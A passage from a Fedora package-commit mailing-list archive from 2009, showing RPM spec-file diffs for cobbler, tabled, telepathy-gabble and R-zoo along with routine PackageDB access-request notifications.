-License: GPLv2+
+Source0: cobbler-%{version}.tar.gz
 Group: Applications/System
 Requires: python >= 2.3
-Requires: python-urlgrabber
-%ifarch %{ix86} x86_64
-Requires: syslinux
-%endif
 %if 0%{?suse_version} >= 1000
 Requires: apache2
 Requires: apache2-mod_python
@@ -23,39 +20,50 @@ Requires: httpd
 Requires: tftp-server
 Requires: mod_python
 %endif
-Requires: python-devel
+
 Requires: createrepo
-Requires: python-cheetah
-Requires: rsync
-Requires: python-netaddr
-Requires: PyYAML
-Requires: python-simplejson
-BuildRequires: PyYAML
-Requires: libyaml
+%if 0%{?fedora} >= 11 || 0%{?rhel} >= 6
+Requires: fence-agents
+%endif
 %if 0%{?fedora} >= 11 || 0%{?rhel} >= 6
 Requires: genisoimage
 %else
 Requires: mkisofs
 %endif
+Requires: libyaml
+Requires: python-cheetah
+Requires: python-devel
+Requires: python-netaddr
+Requires: python-simplejson
+%if 0%{?fedora} >= 8
+BuildRequires: python-setuptools-devel
+%else
+BuildRequires: python-setuptools
+%endif
+Requires: python-urlgrabber
+Requires: PyYAML
+%if 0%{?suse_version} < 0
+BuildRequires: redhat-rpm-config
+%endif
+Requires: rsync
+%if 0%{?fedora} >= 6 || 0%{?rhel} >= 5
+Requires: yum-utils
+%endif
+
 Requires(post):  /sbin/chkconfig
 Requires(preun): /sbin/chkconfig
+
 Requires(preun): /sbin/service
 %if 0%{?fedora} >= 11 || 0%{?rhel} >= 6
 %{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]" || echo 0)}
-Requires: python(abi) = %{pyver}
-%endif
-%if 0%{?suse_version} < 0
-BuildRequires: redhat-rpm-config
+Requires: python(abi) >= %{pyver}
 %endif
-BuildRequires: python-devel
+
+BuildRequires: PyYAML
 BuildRequires: python-cheetah
-%if 0%{?fedora} >= 8
-BuildRequires: python-setuptools-devel
-%else
-BuildRequires: python-setuptools
-%endif
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-buildroot
-Url: http://cobbler.et.redhat.com
+BuildArch: noarch
+Url: http://fedorahosted.org/cobbler
 
 %description
 
@@ -63,18 +71,18 @@ Cobbler is a network install server.  Co
 supports PXE, virtualized installs, and 
 reinstalling existing Linux machines.  The last two 
 modes use a helper tool, 'koan', that 
-integrates with cobbler.  Cobbler's advanced features 
+integrates with cobbler.  There is also a web interface
+'cobbler-web'.  Cobbler's advanced features 
 include importing distributions from DVDs and rsync 
 mirrors, kickstart templating, integrated yum 
 mirroring, and built-in DHCP/DNS Management.  Cobbler has 
-a Python and XMLRPC API for integration with other  
-applications.  There is also a web interface.
+a XMLRPC API for integration with other applications.
 
 %prep
 %setup -q
 
 %build
-%{__python} setup.py build
+%{__python} setup.py build 
 
 %install
 test "x$RPM_BUILD_ROOT" != "x" && rm -rf $RPM_BUILD_ROOT
@@ -84,40 +92,46 @@ PREFIX="--prefix=/usr"
 %{__python} setup.py install --optimize=1 --root=$RPM_BUILD_ROOT $PREFIX
 
 %post
-
-# backup config
-if [ -e /var/lib/cobbler/distros ]; then
-    cp /var/lib/cobbler/distros*  /var/lib/cobbler/backup 2>/dev/null
-    cp /var/lib/cobbler/profiles* /var/lib/cobbler/backup 2>/dev/null
-    cp /var/lib/cobbler/systems*  /var/lib/cobbler/backup 2>/dev/null
-    cp /var/lib/cobbler/repos*    /var/lib/cobbler/backup 2>/dev/null
-    cp /var/lib/cobbler/networks* /var/lib/cobbler/backup 2>/dev/null
-fi
-if [ -e /var/lib/cobbler/config ]; then
-    cp -a /var/lib/cobbler/config    /var/lib/cobbler/backup 2>/dev/null
+if [ "$1" = "1" ];
+then
+    # This happens upon initial install. Upgrades will follow the next else
+    /sbin/chkconfig --add cobblerd
+elif [ "$1" -ge "2" ];
+then
+    # backup config
+    if [ -e /var/lib/cobbler/distros ]; then
+        cp /var/lib/cobbler/distros*  /var/lib/cobbler/backup 2>/dev/null
+        cp /var/lib/cobbler/profiles* /var/lib/cobbler/backup 2>/dev/null
+        cp /var/lib/cobbler/systems*  /var/lib/cobbler/backup 2>/dev/null
+        cp /var/lib/cobbler/repos*    /var/lib/cobbler/backup 2>/dev/null
+        cp /var/lib/cobbler/networks* /var/lib/cobbler/backup 2>/dev/null
+    fi
+    if [ -e /var/lib/cobbler/config ]; then
+        cp -a /var/lib/cobbler/config    /var/lib/cobbler/backup 2>/dev/null
+    fi
+    # upgrade older installs
+    # move power and pxe-templates from /etc/cobbler, backup new templates to *.rpmnew
+    for n in power pxe; do
+      rm -f /etc/cobbler/$n*.rpmnew
+      find /etc/cobbler -maxdepth 1 -name "$n*" -type f | while read f; do
+        newf=/etc/cobbler/$n/`basename $f`
+        [ -e $newf ] &&  mv $newf $newf.rpmnew
+        mv $f $newf
+      done
+    done
+    # upgrade older installs
+    # copy kickstarts from /etc/cobbler to /var/lib/cobbler/kickstarts
+    rm -f /etc/cobbler/*.ks.rpmnew
+    find /etc/cobbler -maxdepth 1 -name "*.ks" -type f | while read f; do
+      newf=/var/lib/cobbler/kickstarts/`basename $f`
+      [ -e $newf ] &&  mv $newf $newf.rpmnew
+      cp $f $newf
+    done
+    # reserialize and restart
+    # FIXIT: ?????
+    #/usr/bin/cobbler reserialize
+    /sbin/service cobblerd condrestart
 fi
-# upgrade older installs
-# move power and pxe-templates from /etc/cobbler, backup new templates to *.rpmnew
-for n in power pxe; do
-  rm -f /etc/cobbler/$n*.rpmnew
-  find /etc/cobbler -maxdepth 1 -name "$n*" -type f | while read f; do
-    newf=/etc/cobbler/$n/`basename $f`
-    [ -e $newf ] &&  mv $newf $newf.rpmnew
-    mv $f $newf
-  done
-done
-# upgrade older installs
-# copy kickstarts from /etc/cobbler to /var/lib/cobbler/kickstarts
-rm -f /etc/cobbler/*.ks.rpmnew
-find /etc/cobbler -maxdepth 1 -name "*.ks" -type f | while read f; do
-  newf=/var/lib/cobbler/kickstarts/`basename $f`
-  [ -e $newf ] &&  mv $newf $newf.rpmnew
-  cp $f $newf
-done
-# reserialize and restart
-/usr/bin/cobbler reserialize
-/sbin/chkconfig --add cobblerd
-/sbin/service cobblerd condrestart
 
 %preun
 if [ $1 = 0 ]; then
@@ -138,8 +152,9 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 %files
 
 %defattr(755,apache,apache)
+%dir /var/www/cobbler/pub/
 %dir /var/www/cobbler/web/
-/var/www/cobbler/web/*.py*
+/var/www/cobbler/web/index.html
 %dir /var/www/cobbler/svc/
 /var/www/cobbler/svc/*.py*
 
@@ -149,13 +164,14 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 /usr/share/cobbler/installer_templates/*.template
 %defattr(744,root,root)
 /usr/share/cobbler/installer_templates/defaults
-%defattr(755,apache,apache)
-%dir /usr/share/cobbler/webui_templates
-%defattr(444,apache,apache)
-/usr/share/cobbler/webui_templates/*.tmpl
+#%defattr(755,apache,apache)               (MOVED to cobbler-web)
+#%dir /usr/share/cobbler/webui_templates   (MOVED to cobbler-web)
+#%defattr(444,apache,apache)               (MOVED to cobbler-web)
+#/usr/share/cobbler/webui_templates/*.tmpl (MOVED to cobbler-web)
 
 %defattr(755,apache,apache)
 %dir /var/log/cobbler
+%dir /var/log/cobbler/tasks
 %dir /var/log/cobbler/kicklog
 %dir /var/www/cobbler/
 %dir /var/www/cobbler/localmirror
@@ -165,10 +181,10 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 %dir /var/www/cobbler/images
 %dir /var/www/cobbler/links
 %defattr(755,apache,apache)
-%dir /var/www/cobbler/webui
+#%dir /var/www/cobbler/webui (MOVED to cobbler-web)
 %dir /var/www/cobbler/aux
 %defattr(444,apache,apache)
-/var/www/cobbler/webui/*
+#/var/www/cobbler/webui/*    (MOVED TO cobbler-web)
 /var/www/cobbler/aux/anamon
 /var/www/cobbler/aux/anamon.init
 
@@ -192,23 +208,18 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 %config(noreplace) /etc/logrotate.d/cobblerd_rotate
 %config(noreplace) /etc/cobbler/modules.conf
 %config(noreplace) /etc/cobbler/users.conf
-%config(noreplace) /etc/cobbler/acls.conf
 %config(noreplace) /etc/cobbler/cheetah_macros
 %dir %{python_sitelib}/cobbler
 %dir %{python_sitelib}/cobbler/modules
-%dir %{python_sitelib}/cobbler/webui
 %{python_sitelib}/cobbler/*.py*
-%{python_sitelib}/cobbler/server/*.py*
+#%{python_sitelib}/cobbler/server/*.py*
 %{python_sitelib}/cobbler/modules/*.py*
-%{python_sitelib}/cobbler/webui/*.py*
 %{_mandir}/man1/cobbler.1.gz
 /etc/init.d/cobblerd
 %if 0%{?suse_version} >= 1000
 %config(noreplace) /etc/apache2/conf.d/cobbler.conf
-%config(noreplace) /etc/apache2/conf.d/cobbler_svc.conf
 %else
 %config(noreplace) /etc/httpd/conf.d/cobbler.conf
-%config(noreplace) /etc/httpd/conf.d/cobbler_svc.conf
 %endif
 %dir /var/log/cobbler/syslog
 %dir /var/log/cobbler/anamon
@@ -221,7 +232,6 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 %dir /var/lib/cobbler/config/systems.d/
 %dir /var/lib/cobbler/config/repos.d/
 %dir /var/lib/cobbler/config/images.d/
-%dir /var/lib/cobbler/config/networks.d/
 %dir /var/lib/cobbler/kickstarts/
 %dir /var/lib/cobbler/backup/
 %dir /var/lib/cobbler/triggers
@@ -263,29 +273,9 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 %defattr(664,root,root)
 %config(noreplace) /etc/cobbler/settings
 /var/lib/cobbler/version
-%config(noreplace) /var/lib/cobbler/snippets/partition_select
-%config(noreplace) /var/lib/cobbler/snippets/pre_partition_select
-%config(noreplace) /var/lib/cobbler/snippets/main_partition_select
-%config(noreplace) /var/lib/cobbler/snippets/post_install_kernel_options
-%config(noreplace) /var/lib/cobbler/snippets/network_config
-%config(noreplace) /var/lib/cobbler/snippets/pre_install_network_config
-%config(noreplace) /var/lib/cobbler/snippets/post_install_network_config
-%config(noreplace) /var/lib/cobbler/snippets/func_install_if_enabled
-%config(noreplace) /var/lib/cobbler/snippets/func_register_if_enabled
-%config(noreplace) /var/lib/cobbler/snippets/download_config_files
-%config(noreplace) /var/lib/cobbler/snippets/koan_environment
-%config(noreplace) /var/lib/cobbler/snippets/pre_anamon
-%config(noreplace) /var/lib/cobbler/snippets/post_anamon
-%config(noreplace) /var/lib/cobbler/snippets/post_s390_reboot
-%config(noreplace) /var/lib/cobbler/snippets/redhat_register
-%config(noreplace) /var/lib/cobbler/snippets/cobbler_register
-%config(noreplace) /var/lib/cobbler/snippets/keep_ssh_host_keys
-%config(noreplace) /var/lib/cobbler/snippets/log_ks_pre
-%config(noreplace) /var/lib/cobbler/snippets/log_ks_post
-/var/lib/cobbler/elilo-3.8-ia64.efi
-/var/lib/cobbler/menu.c32
-/var/lib/cobbler/yaboot-1.3.14
-/var/lib/cobbler/zpxe.rexx
+%config(noreplace) /var/lib/cobbler/snippets/*
+%dir /var/lib/cobbler/loaders/
+/var/lib/cobbler/loaders/zpxe.rexx
 %defattr(660,root,root)
 %config(noreplace) /etc/cobbler/users.digest 
 
@@ -298,16 +288,93 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 %endif
 %doc AUTHORS CHANGELOG README COPYING
 
+%package -n koan
+
+Summary: Helper tool that performs cobbler orders on remote machines.
+Version: 2.0.1
+Release: 1%{?dist}
+Group: Applications/System
+Requires: mkinitrd
+Requires: python >= 1.5
+BuildRequires: python-devel
+%if 0%{?fedora} >= 11 || 0%{?rhel} >= 6
+%{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
+Requires: python(abi) >= %{pyver}
+%endif
+%if 0%{?fedora} >= 8
+BuildRequires: python-setuptools-devel
+%endif
+%if 0%{?rhel} >= 4
+BuildRequires: python-setuptools
+%endif
+BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-buildroot
+BuildArch: noarch
+Url: http://fedorahosted.org/cobbler/
 
-%changelog
 
-* Mon Mar 30 2009 Michael DeHaan <mdehaan at redhat.com> - 1.7.0-1
-- Upstream changes (see CHANGELOG)
+%description -n koan
 
-* Mon Mar 30 2009 Michael DeHaan <mdehaan at redhat.com> - 1.6.2-1
-- Upstream changes (see CHANGELOG)
+Koan stands for kickstart-over-a-network and allows for both
+network installation of new virtualized guests and reinstallation 
+of an existing system.  For use with a boot-server configured with Cobbler
+
+%files -n koan
+%defattr(-,root,root)
+# FIXME: need to generate in setup.py
+#%if 0%{?fedora} > 8
+#%{python_sitelib}/koan*.egg-info
+#%endif
+%dir /var/spool/koan
+%{_bindir}/koan
+%{_bindir}/cobbler-register
+%dir %{python_sitelib}/koan
+%{python_sitelib}/koan/*.py*
+%{_mandir}/man1/koan.1.gz
+%{_mandir}/man1/cobbler-register.1.gz
+%dir /var/log/koan
+%doc AUTHORS COPYING CHANGELOG README
+
+
+%package -n cobbler-web
+
+Summary: Web interface for Cobbler
+Version: 2.0.1
+Release: 1%{?dist}
+Group: Applications/System
+Requires: cobbler
+Requires: Django
+BuildRequires: python-devel
+%if 0%{?fedora} >= 11 || 0%{?rhel} >= 6
+%{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
+Requires: python(abi) >= %{pyver}
+%endif
+%if 0%{?fedora} >= 8
+BuildRequires: python-setuptools-devel
+%else
+BuildRequires: python-setuptools
+%endif
+BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-buildroot
+BuildArch: noarch
+Url: http://fedorahosted.org/cobbler/
+
+%description -n cobbler-web
+
+Web interface for Cobbler that allows visiting http://server/cobbler_web to configure the install server.
+
+%files -n cobbler-web
+%defattr(-,apache,apache)
+%dir /usr/share/cobbler/web
+/usr/share/cobbler/web/*
+%dir /usr/share/cobbler/web/cobbler_web
+/usr/share/cobbler/web/cobbler_web/*
+%config(noreplace) /etc/httpd/conf.d/cobbler_web.conf
+%dir /usr/share/cobbler/web/sessions
+%dir /var/www/cobbler_webui_content
+/var/www/cobbler_webui_content/*
+%doc AUTHORS COPYING CHANGELOG README
+
+%changelog
 
-* Fri Mar 27 2009 Michael DeHaan <mdehaan at redhat.com> - 1.6.1-1
-- Upstream changes (see CHANGELOG)
->>>>>>> 9f122d9... Fix for cache cleanup problem in Cobblerd (typo), release bump to 1.6.2:cobbler.spec
+* Tue Sep 15 2009 Michael DeHaan <mdehaan at redhat.com> - 2.0.0-1
+- First release with unified spec files
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/cobbler/F-8/sources,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- sources	20 Apr 2009 18:10:28 -0000	1.59
+++ sources	2 Oct 2009 20:59:49 -0000	1.60
@@ -1,2 +1,3 @@
 6bf3dae4f204b44858ba91faeb8a1ecf  cobbler-1.4.0.tar.gz
 271205209c62805a82578773d34ace86  cobbler-1.6.3.tar.gz
+c07c857b1f91764d0ea78c2a5a184259  cobbler-2.0.1.tar.gz



From pkgdb at fedoraproject.org  Fri Oct  2 21:08:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 21:08:38 +0000
Subject: [pkgdb] python: dmalcolm has requested watchcommits
Message-ID: <20091002210839.027ED10F87E@bastion2.fedora.phx.redhat.com>

dmalcolm has requested the watchcommits acl on python (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Fri Oct  2 21:08:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 21:08:43 +0000
Subject: [pkgdb] python: dmalcolm has requested watchbugzilla
Message-ID: <20091002210843.37DF410F88C@bastion2.fedora.phx.redhat.com>

dmalcolm has requested the watchbugzilla acl on python (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Fri Oct  2 21:09:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 21:09:00 +0000
Subject: [pkgdb] python: dmalcolm has requested commit
Message-ID: <20091002210901.700D610F875@bastion2.fedora.phx.redhat.com>

dmalcolm has requested the commit acl on python (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Fri Oct  2 21:09:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 21:09:06 +0000
Subject: [pkgdb] python: dmalcolm has requested watchbugzilla
Message-ID: <20091002210906.4111910F88C@bastion2.fedora.phx.redhat.com>

dmalcolm has requested the watchbugzilla acl on python (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Fri Oct  2 21:09:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 21:09:07 +0000
Subject: [pkgdb] python: dmalcolm has requested watchcommits
Message-ID: <20091002210907.2B34610F895@bastion2.fedora.phx.redhat.com>

dmalcolm has requested the watchcommits acl on python (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Fri Oct  2 21:09:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 21:09:08 +0000
Subject: [pkgdb] python: dmalcolm has requested commit
Message-ID: <20091002210908.DD25010F8A9@bastion2.fedora.phx.redhat.com>

dmalcolm has requested the commit acl on python (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python



From jgarzik at fedoraproject.org  Fri Oct  2 22:15:38 2009
From: jgarzik at fedoraproject.org (Jeff Garzik)
Date: Fri,  2 Oct 2009 22:15:38 +0000 (UTC)
Subject: rpms/tabled/devel sources,1.11,1.12 tabled.spec,1.20,1.21
Message-ID: <20091002221538.E0C1311C00C1@cvs1.fedora.phx.redhat.com>

Author: jgarzik

Update of /cvs/pkgs/rpms/tabled/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30923

Modified Files:
	sources tabled.spec 
Log Message:
update to latest upstream


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tabled/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	30 Sep 2009 22:50:00 -0000	1.11
+++ sources	2 Oct 2009 22:15:37 -0000	1.12
@@ -1 +1 @@
-ca512f2d51bdc1a4c0a2eb4a3b017e69  tabled-0.4git.tar.gz
+2d9c37e116f0d8185784631fadde8ff1  tabled-0.4git.tar.gz


Index: tabled.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tabled/devel/tabled.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- tabled.spec	30 Sep 2009 22:50:00 -0000	1.20
+++ tabled.spec	2 Oct 2009 22:15:37 -0000	1.21
@@ -1,13 +1,13 @@
 Name:		tabled
 Version:	0.4
-Release:	0.3.g784b42ad%{?dist}
+Release:	0.4.ge1c9069b%{?dist}
 Summary:	Distributed key/value table service
 
 Group:		System Environment/Base
 License:	GPLv2
 URL:		http://hail.wiki.kernel.org/
 
-# pulled from upstream git, commit 784b42ad5cd766450c4df93cfb7f91605708dcb1
+# pulled from upstream git, commit e1c9069b3604e9c9e2946db80101d456598fef82
 # to recreate tarball, check out commit, then run "make dist"
 Source0:	tabled-%{version}git.tar.gz
 Source2:	tabled.init
@@ -102,6 +102,9 @@ fi
 %{_includedir}/*
 
 %changelog
+* Fri Oct 02 2009 Jeff Garzik <jgarzik at redhat.com> - 0.4-0.4.ge1c9069b
+- add sources for git commit e1c9069b3604e9c9e2946db80101d456598fef82
+
 * Wed Sep 30 2009 Jeff Garzik <jgarzik at redhat.com> - 0.4-0.3.g784b42ad
 - add sources for git commit 784b42ad5cd766450c4df93cfb7f91605708dcb1
 



From bpepple at fedoraproject.org  Fri Oct  2 22:26:36 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Fri,  2 Oct 2009 22:26:36 +0000 (UTC)
Subject: rpms/telepathy-gabble/F-12 .cvsignore, 1.55, 1.56 sources, 1.55,
	1.56 telepathy-gabble.spec, 1.67, 1.68
Message-ID: <20091002222636.DFA6B11C00C1@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/telepathy-gabble/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3403

Modified Files:
	.cvsignore sources telepathy-gabble.spec 
Log Message:
* Fri Oct  2 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.5-1
- Update to 0.8.5.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/F-12/.cvsignore,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- .cvsignore	30 Sep 2009 23:43:19 -0000	1.55
+++ .cvsignore	2 Oct 2009 22:26:36 -0000	1.56
@@ -1 +1 @@
-telepathy-gabble-0.8.4.tar.gz
+telepathy-gabble-0.8.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/F-12/sources,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- sources	30 Sep 2009 23:43:20 -0000	1.55
+++ sources	2 Oct 2009 22:26:36 -0000	1.56
@@ -1 +1 @@
-98c8b62427d5bf7345310cf75cbd422c  telepathy-gabble-0.8.4.tar.gz
+6874a802082c010d0abb0b75fbfbe8fc  telepathy-gabble-0.8.5.tar.gz


Index: telepathy-gabble.spec
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/F-12/telepathy-gabble.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- telepathy-gabble.spec	30 Sep 2009 23:43:20 -0000	1.67
+++ telepathy-gabble.spec	2 Oct 2009 22:26:36 -0000	1.68
@@ -1,5 +1,5 @@
 Name:           telepathy-gabble
-Version:        0.8.4
+Version:        0.8.5
 Release:        1%{?dist}
 Summary:        A Jabber/XMPP connection manager
 
@@ -59,6 +59,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct  2 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.5-1
+- Update to 0.8.5.
+
 * Wed Sep 30 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.4-1
 - Update to 0.8.4.
 



From orion at fedoraproject.org  Fri Oct  2 22:30:31 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri,  2 Oct 2009 22:30:31 +0000 (UTC)
Subject: rpms/R-zoo/devel .cvsignore, 1.3, 1.4 R-zoo.spec, 1.5, 1.6 sources, 
	1.3, 1.4
Message-ID: <20091002223031.D153B11C0297@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/R-zoo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6020

Modified Files:
	.cvsignore R-zoo.spec sources 
Log Message:
* Fri Oct 2 2009 Orion Poplawski <orion at cora.nwra.com> 1.5-8
- Update to 1.5-8



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/R-zoo/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	4 Sep 2008 15:59:30 -0000	1.3
+++ .cvsignore	2 Oct 2009 22:30:31 -0000	1.4
@@ -1 +1 @@
-zoo_1.5-4.tar.gz
+zoo_1.5-8.tar.gz


Index: R-zoo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-zoo/devel/R-zoo.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- R-zoo.spec	24 Jul 2009 16:16:43 -0000	1.5
+++ R-zoo.spec	2 Oct 2009 22:30:31 -0000	1.6
@@ -1,11 +1,11 @@
 # This is the CRAN name
 %define packname zoo
 # Note that some R packages do not use packrel
-%define packrel 4
+%define packrel 8
 
 Name:             R-%{packname}
 Version:          1.5
-Release:          7%{?dist}
+Release:          8%{?dist}
 Source0:          http://cran.r-project.org/src/contrib/%{packname}_%{version}-%{packrel}.tar.gz
 License:          GPLv2
 URL:              http://cran.r-project.org/web/packages/zoo/index.html
@@ -92,6 +92,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 2 2009 Orion Poplawski <orion at cora.nwra.com> 1.5-8
+- Update to 1.5-8
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/R-zoo/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	4 Sep 2008 15:59:30 -0000	1.3
+++ sources	2 Oct 2009 22:30:31 -0000	1.4
@@ -1 +1 @@
-fc3d54b3df786afd0726cc0941459bc3  zoo_1.5-4.tar.gz
+41cde86327e32ac1c0c6f6b8a199d5f2  zoo_1.5-8.tar.gz



From pkgdb at fedoraproject.org  Fri Oct  2 22:31:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:31:44 +0000
Subject: [pkgdb] nimbus: cwickert has requested watchbugzilla
Message-ID: <20091002223144.EA35710F7EA@bastion2.fedora.phx.redhat.com>

cwickert has requested the watchbugzilla acl on nimbus (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:31:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:31:46 +0000
Subject: [pkgdb] nimbus: cwickert has requested watchcommits
Message-ID: <20091002223147.11CA810F87E@bastion2.fedora.phx.redhat.com>

cwickert has requested the watchcommits acl on nimbus (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:31:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:31:49 +0000
Subject: [pkgdb] nimbus: cwickert has requested commit
Message-ID: <20091002223149.391B710F7EA@bastion2.fedora.phx.redhat.com>

cwickert has requested the commit acl on nimbus (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:31:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:31:51 +0000
Subject: [pkgdb] nimbus: cwickert has requested approveacls
Message-ID: <20091002223151.6B4ED10F890@bastion2.fedora.phx.redhat.com>

cwickert has requested the approveacls acl on nimbus (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:31:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:31:56 +0000
Subject: [pkgdb] nimbus: cwickert has requested watchbugzilla
Message-ID: <20091002223156.D2A3910F7EA@bastion2.fedora.phx.redhat.com>

cwickert has requested the watchbugzilla acl on nimbus (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:31:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:31:59 +0000
Subject: [pkgdb] nimbus: cwickert has requested watchcommits
Message-ID: <20091002223159.492B610F88B@bastion2.fedora.phx.redhat.com>

cwickert has requested the watchcommits acl on nimbus (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:00 +0000
Subject: [pkgdb] nimbus: cwickert has requested commit
Message-ID: <20091002223201.19E8D10F88C@bastion2.fedora.phx.redhat.com>

cwickert has requested the commit acl on nimbus (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:03 +0000
Subject: [pkgdb] nimbus: cwickert has requested approveacls
Message-ID: <20091002223203.3D92010F87E@bastion2.fedora.phx.redhat.com>

cwickert has requested the approveacls acl on nimbus (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:08 +0000
Subject: [pkgdb] nimbus: cwickert has requested watchbugzilla
Message-ID: <20091002223208.EDE2210F88C@bastion2.fedora.phx.redhat.com>

cwickert has requested the watchbugzilla acl on nimbus (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:10 +0000
Subject: [pkgdb] nimbus: cwickert has requested watchcommits
Message-ID: <20091002223210.7A15410F8A8@bastion2.fedora.phx.redhat.com>

cwickert has requested the watchcommits acl on nimbus (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:12 +0000
Subject: [pkgdb] nimbus: cwickert has requested commit
Message-ID: <20091002223212.A23FA10F8A9@bastion2.fedora.phx.redhat.com>

cwickert has requested the commit acl on nimbus (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:15 2009
